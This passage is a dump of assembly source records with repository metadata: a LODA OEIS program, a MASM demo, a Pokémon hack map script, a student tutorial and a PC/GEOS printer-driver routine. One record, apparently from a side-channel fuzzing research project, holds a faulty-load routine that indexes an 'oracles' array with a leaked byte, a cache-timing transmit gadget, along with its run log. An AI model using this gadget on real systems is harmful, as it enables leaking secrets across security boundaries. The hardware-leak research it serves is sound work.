32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
||||
TheStack | 8b081d127ca25b362517bad028ce53b5b28590c9 | Assemblycode:Assembly | {"size": 841, "ext": "asm", "max_stars_repo_path": "programs/oeis/316/A316843.asm", "max_stars_repo_name": "jmorken/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/316/A316843.asm", "max_issues_repo_name": "jmorken/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/316/A316843.asm", "max_forks_repo_name": "jmorken/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 44.2631578947, "max_line_length": 656, "alphanum_fraction": 0.5933412604} | ; A316843: Column 1 of table A316841.
; 1,2,2,3,3,3,3,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13
mov $1,1
mov $2,$0
lpb $2
add $1,1
add $2,1
lpb $0
sub $0,1
lpe
add $0,$1
lpb $0
sub $2,$0
trn $0,2
lpe
trn $2,1
lpe
|
||||
TheStack | ecfeac4ef4929ed27eb2b0478924ea230d758df1 | Assemblycode:Assembly | {"size": 1206, "ext": "asm", "max_stars_repo_path": "exampl01/minimum/minimum.asm", "max_stars_repo_name": "AlexRogalskiy/Masm", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "exampl01/minimum/minimum.asm", "max_issues_repo_name": "AlexRogalskiy/Masm", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "exampl01/minimum/minimum.asm", "max_forks_repo_name": "AlexRogalskiy/Masm", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 26.8, "max_line_length": 75, "alphanum_fraction": 0.456053068} | ; #########################################################################
.386
.model flat, stdcall
option casemap :none ; case sensitive
; #########################################################################
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
; #########################################################################
.code
start:
jmp @F
szDlgTitle db "Minimum MASM",0
szMsg db " --- Assembler Pure and Simple --- ",0
@@:
push MB_OK
push offset szDlgTitle
push offset szMsg
push 0
call MessageBox
push 0
call ExitProcess
; --------------------------------------------------------
; The following are the same function calls using MASM
; "invoke" syntax. It is clearer code, it is type checked
; against a function prototype and it is less error prone.
; --------------------------------------------------------
; invoke MessageBox,0,ADDR szMsg,ADDR szDlgTitle,MB_OK
; invoke ExitProcess,0
end start |
||||
TheStack | 033ec74d6832a898d8a077a17c4d1e5f26ee7e1b | Assemblycode:Assembly | {"size": 7484, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_st_/i3-7100_9_0xca_notsx.log_21829_77.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_st_/i3-7100_9_0xca_notsx.log_21829_77.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_st_/i3-7100_9_0xca_notsx.log_21829_77.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 30.9256198347, "max_line_length": 2999, "alphanum_fraction": 0.6509887761} | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r14
push %r15
push %r8
push %rbx
lea addresses_A_ht+0xaf0d, %r8
nop
nop
nop
nop
nop
cmp $49251, %r13
vmovups (%r8), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %r12
nop
nop
nop
add %r15, %r15
lea addresses_normal_ht+0x860d, %r14
dec %r13
vmovups (%r14), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %r11
nop
inc %r13
lea addresses_normal_ht+0x12bad, %r15
nop
nop
sub %r11, %r11
mov (%r15), %r14
nop
nop
sub $12749, %r12
lea addresses_D_ht+0x1020d, %r11
clflush (%r11)
nop
nop
nop
xor $22467, %rbx
movw $0x6162, (%r11)
nop
nop
add %r12, %r12
pop %rbx
pop %r8
pop %r15
pop %r14
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WT+0x531d, %r15
and $53234, %r13
mov $0x5152535455565758, %rax
movq %rax, %xmm5
vmovups %ymm5, (%r15)
nop
nop
nop
nop
nop
inc %r11
// Store
lea addresses_A+0xdee7, %r11
nop
nop
nop
nop
nop
inc %rdx
movl $0x51525354, (%r11)
nop
nop
nop
nop
nop
sub %rdx, %rdx
// Store
lea addresses_A+0x1676d, %r14
nop
nop
cmp %r11, %r11
movw $0x5152, (%r14)
nop
nop
nop
add %r13, %r13
// Store
lea addresses_D+0x2a0d, %r11
nop
nop
nop
nop
add %rdx, %rdx
mov $0x5152535455565758, %rdi
movq %rdi, %xmm3
movups %xmm3, (%r11)
nop
nop
nop
nop
nop
inc %r11
// REPMOV
lea addresses_UC+0x52d0, %rsi
lea addresses_normal+0x1f98d, %rdi
nop
nop
nop
and %rdx, %rdx
mov $58, %rcx
rep movsw
nop
nop
sub %r14, %r14
// Store
lea addresses_PSE+0x14a0d, %rdi
clflush (%rdi)
cmp $12647, %rcx
movw $0x5152, (%rdi)
nop
nop
nop
nop
sub %r13, %r13
// Load
lea addresses_D+0x1520d, %rdx
nop
add %r13, %r13
mov (%rdx), %r11d
nop
nop
nop
nop
and $64336, %rdx
// Store
lea addresses_WC+0x1f68d, %r14
nop
nop
nop
xor $15316, %rcx
movw $0x5152, (%r14)
nop
and $37832, %r14
// Store
lea addresses_A+0x71ad, %rsi
nop
nop
nop
nop
nop
sub $55795, %rdx
movw $0x5152, (%rsi)
nop
nop
sub %rax, %rax
// Store
mov $0x70dc7b0000000b65, %rdx
nop
nop
nop
nop
nop
sub $4014, %r14
mov $0x5152535455565758, %r15
movq %r15, %xmm0
movaps %xmm0, (%rdx)
nop
inc %rax
// Faulty Load
lea addresses_A+0x1a0d, %r13
cmp $23730, %rsi
mov (%r13), %r14
lea oracles, %rdi
and $0xff, %r14
shlq $12, %r14
mov (%rdi,%r14,1), %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': True, 'type': 'addresses_A', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D', 'size': 16, 'AVXalign': False}}
{'src': {'type': 'addresses_UC', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_PSE', 'size': 2, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WC', 'size': 2, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A', 'size': 2, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_NC', 'size': 16, 'AVXalign': True}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 11, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}}
{'52': 21829}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
|
||||
TheStack | b1b2f9511268cffd88ac7edd58e4fd1bde80216e | Assemblycode:Assembly | {"size": 5058, "ext": "asm", "max_stars_repo_path": "scripts/viridianforest.asm", "max_stars_repo_name": "adhi-thirumala/EvoYellow", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "scripts/viridianforest.asm", "max_issues_repo_name": "adhi-thirumala/EvoYellow", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "scripts/viridianforest.asm", "max_forks_repo_name": "adhi-thirumala/EvoYellow", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 24.3173076923, "max_line_length": 56, "alphanum_fraction": 0.8592328984} | ViridianForestScript:
call EnableAutoTextBoxDrawing
ld hl, ViridianForestTrainerHeaders
ld de, ViridianForestScriptPointers
ld a, [wViridianForestCurScript]
call ExecuteCurMapScriptInTable
ld [wViridianForestCurScript], a
ret
ViridianForestScriptPointers:
dw CheckFightingMapTrainers
dw DisplayEnemyTrainerTextAndStartBattle
dw EndTrainerBattle
ViridianForestTextPointers:
dw ViridianForestText1
dw ViridianForestText2
dw ViridianForestText3
dw ViridianForestText4
dw ViridianForestText5
dw ViridianForestText6
dw PickUpItemText
dw PickUpItemText
dw PickUpItemText
dw ViridianForestText10
dw ViridianForestText11
dw ViridianForestText12
dw ViridianForestText13
dw ViridianForestText14
dw ViridianForestText15
dw ViridianForestText16
ViridianForestTrainerHeaders:
ViridianForestTrainerHeader0:
dbEventFlagBit EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_0
db ($4 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_0
dw ViridianForestBattleText1 ; TextBeforeBattle
dw ViridianForestAfterBattleText1 ; TextAfterBattle
dw ViridianForestEndBattleText1 ; TextEndBattle
dw ViridianForestEndBattleText1 ; TextEndBattle
ViridianForestTrainerHeader1:
dbEventFlagBit EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_1
db ($4 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_1
dw ViridianForestBattleText2 ; TextBeforeBattle
dw ViridianForestAfterBattleText2 ; TextAfterBattle
dw ViridianForestEndBattleText2 ; TextEndBattle
dw ViridianForestEndBattleText2 ; TextEndBattle
ViridianForestTrainerHeader2:
dbEventFlagBit EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_2
db ($1 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_2
dw ViridianForestBattleText3 ; TextBeforeBattle
dw ViridianForestAfterBattleText3 ; TextAfterBattle
dw ViridianForestEndBattleText3 ; TextEndBattle
dw ViridianForestEndBattleText3 ; TextEndBattle
ViridianForestTrainerHeader3:
dbEventFlagBit EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_3
db ($0 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_3
dw ViridianForestBattleText4 ; TextBeforeBattle
dw ViridianForestAfterBattleText4 ; TextAfterBattle
dw ViridianForestEndBattleText4 ; TextEndBattle
dw ViridianForestEndBattleText4 ; TextEndBattle
ViridianForestTrainerHeader4:
dbEventFlagBit EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_4
db ($4 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_4
dw ViridianForestBattleText5 ; TextBeforeBattle
dw ViridianForestAfterBattleText5 ; TextAfterBattle
dw ViridianForestEndBattleText5 ; TextEndBattle
dw ViridianForestEndBattleText5 ; TextEndBattle
db $ff
ViridianForestText1:
TX_FAR _ViridianForestText1
db "@"
ViridianForestText2:
TX_ASM
ld hl, ViridianForestTrainerHeader0
jr ViridianForestTalkToTrainer
ViridianForestText3:
TX_ASM
ld hl, ViridianForestTrainerHeader1
jr ViridianForestTalkToTrainer
ViridianForestText4:
TX_ASM
ld hl, ViridianForestTrainerHeader2
jr ViridianForestTalkToTrainer
ViridianForestText5:
TX_ASM
ld hl, ViridianForestTrainerHeader3
jr ViridianForestTalkToTrainer
ViridianForestText6:
TX_ASM
ld hl, ViridianForestTrainerHeader4
ViridianForestTalkToTrainer:
call TalkToTrainer
jp TextScriptEnd
ViridianForestBattleText1:
TX_FAR _ViridianForestBattleText1
db "@"
ViridianForestEndBattleText1:
TX_FAR _ViridianForestEndBattleText1
db "@"
ViridianForestAfterBattleText1:
TX_FAR _ViridianFrstAfterBattleText1
db "@"
ViridianForestBattleText2:
TX_FAR _ViridianForestBattleText2
db "@"
ViridianForestEndBattleText2:
TX_FAR _ViridianForestEndBattleText2
db "@"
ViridianForestAfterBattleText2:
TX_FAR _ViridianFrstAfterBattleText2
db "@"
ViridianForestBattleText3:
TX_FAR _ViridianForestBattleText3
db "@"
ViridianForestEndBattleText3:
TX_FAR _ViridianForestEndBattleText3
db "@"
ViridianForestAfterBattleText3:
TX_FAR _ViridianFrstAfterBattleText3
db "@"
ViridianForestBattleText4:
TX_FAR _ViridianForestBattleTextPikaGirl
db "@"
ViridianForestEndBattleText4:
TX_FAR _ViridianForestEndBattleTextPikaGirl
db "@"
ViridianForestAfterBattleText4:
TX_FAR _ViridianForestAfterBattleTextPikaGirl
db "@"
ViridianForestBattleText5:
TX_FAR _ViridianForestBattleTextSamurai
db "@"
ViridianForestEndBattleText5:
TX_FAR _ViridianForestEndBattleTextSamurai
db "@"
ViridianForestAfterBattleText5:
TX_FAR _ViridianForestAfterBattleTextSamurai
db "@"
ViridianForestText10:
TX_FAR _ViridianForestText8
db "@"
ViridianForestText11:
TX_ASM
ld hl, Func_f2528
jp ViridianForestScript_6120d
ViridianForestText12:
TX_ASM
ld hl, Func_f2534
jp ViridianForestScript_6120d
ViridianForestText13:
TX_ASM
ld hl, Func_f2540
jp ViridianForestScript_6120d
ViridianForestText14:
TX_ASM
ld hl, Func_f254c
jp ViridianForestScript_6120d
ViridianForestText15:
TX_ASM
ld hl, Func_f2558
jp ViridianForestScript_6120d
ViridianForestText16:
TX_ASM
ld hl, Func_f2528
ViridianForestScript_6120d
ld b, BANK(Func_f2528)
call Bankswitch
jp TextScriptEnd
|
||||
TheStack | e8d9f67d167944717c6f3fde523cf1440b6053de | Assemblycode:Assembly | {"size": 1108, "ext": "asm", "max_stars_repo_path": "Year3/CS3021/Tutorial3/t3.asm", "max_stars_repo_name": "slow-J/TCD", "max_stars_repo_stars_event_min_datetime": "2020-02-04T11:25:32.000Z", "max_stars_repo_stars_event_max_datetime": "2020-02-04T11:25:32.000Z", "max_issues_repo_path": "Year3/CS3021/Tutorial3/t3.asm", "max_issues_repo_name": "sickfila/TCD", "max_issues_repo_issues_event_min_datetime": "2018-10-19T20:11:15.000Z", "max_issues_repo_issues_event_max_datetime": "2018-10-19T20:11:15.000Z", "max_forks_repo_path": "Year3/CS3021/Tutorial3/t3.asm", "max_forks_repo_name": "slow-J/TCD", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": 1, "max_forks_count": null, "avg_line_length": 22.612244898, "max_line_length": 64, "alphanum_fraction": 0.3817689531} | ; params r10-r15
add r0, #4, r9
min
min: add r26, r0, r1 ; v=c
sub r27, r1, r0(C) ; b<v
jge min0
xor r0, r0, r0
add r27, r0, r1 ; c<v
min0: sub r28, r1, r0(C) ; c<v
jge min1
xor r0, r0, r0
add r28, r0, r1
min1: ret r25, 0 ; return r28
xor r0, r0, r0
p ; i = r26 j = r27 k = r28 l = r29
p: add r9, r0, r10 ;
add r26, r0, r11
call r25, min
xor r0, r0, r0
add r27, r0, r12
add r1, r10, r10
add r28, r0, r11
call r25, min
xor r0, r0, r0
add r24, r0, r12
ret r25, 0
xor r0, r0, r0
gcd
//unoptimised
gcd: add r26, r0, r16
add r27, r0, r11
sub r11, #0, r0(C) ; cmp
je gcd0
xor r0, r0, r0
add r27, r0, r10
mod r26, r27, r11
call r25, gcd ; recursive call
ret r25, 0
gcd0: ret r16, 0 ; ret a
|
||||
TheStack | ce1287f3d6d3508b5e1959c29e766bd6578f3260 | Assemblycode:Assembly | {"size": 2841, "ext": "asm", "max_stars_repo_path": "Driver/Printer/PrintCom/Cursor/cursorConvert216.asm", "max_stars_repo_name": "steakknife/pcgeos", "max_stars_repo_stars_event_min_datetime": "2018-11-18T03:35:53.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T01:02:51.000Z", "max_issues_repo_path": "Driver/Printer/PrintCom/Cursor/cursorConvert216.asm", "max_issues_repo_name": "steakknife/pcgeos", "max_issues_repo_issues_event_min_datetime": "2018-11-19T21:06:50.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-06T10:26:48.000Z", "max_forks_repo_path": "Driver/Printer/PrintCom/Cursor/cursorConvert216.asm", "max_forks_repo_name": "steakknife/pcgeos", "max_forks_repo_forks_event_min_datetime": "2018-11-19T20:46:53.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T00:59:26.000Z"} | {"max_stars_count": 504, "max_issues_count": 96, "max_forks_count": 73, "avg_line_length": 24.0762711864, "max_line_length": 79, "alphanum_fraction": 0.4843365012} |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Epson type 9-pin print drivers
FILE: cursorConvert216.asm
AUTHOR: Dave Durran, 14 March 1990
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 3/14/90 Initial revision
Dave 3/92 moved from epson9 to printcom
DESCRIPTION:
This file contains most of the code to implement the epson FX type
print driver cursor movement support
The cursor position is kept in 2 words: integer 216ths in Y and
integer 72nds in X
$Id: cursorConvert216.asm,v 1.1 97/04/18 11:49:34 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrConvertToDriverCoordinates
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
convert a value passed in 1/72" units in dx.ax to 1/216" units in dx
CALLED BY:
PASS:
dx.ax = WWFixed value to convert.
RETURN:
dx = value in 1/216" units
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 02/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrConvertToDriverCoordinates proc near
uses cx
.enter
mov cx,dx ;save x1
shl ax,1 ;x2
rcl dx,1
add dx,cx ;add together for x3: integer done....
.leave
ret
PrConvertToDriverCoordinates endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrConvertFromDriverCoordinates
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
convert a value passed in 1/216" units in dx to 1/72" units in dx.ax
CALLED BY:
PASS:
dx = value in 1/216" units
RETURN:
dx.ax = WWFixed value in 1/72nd " units
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 02/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrConvertFromDriverCoordinates proc near
uses cx,bx
.enter
clr ax ;get the fractions to zero.
mov cx,ax
mov bx,3 ;we divide by 3
call GrUDivWWFixed ;do the divide
mov ax,cx ;move the fraction to our reg format
.leave
ret
PrConvertFromDriverCoordinates endp
|
||||
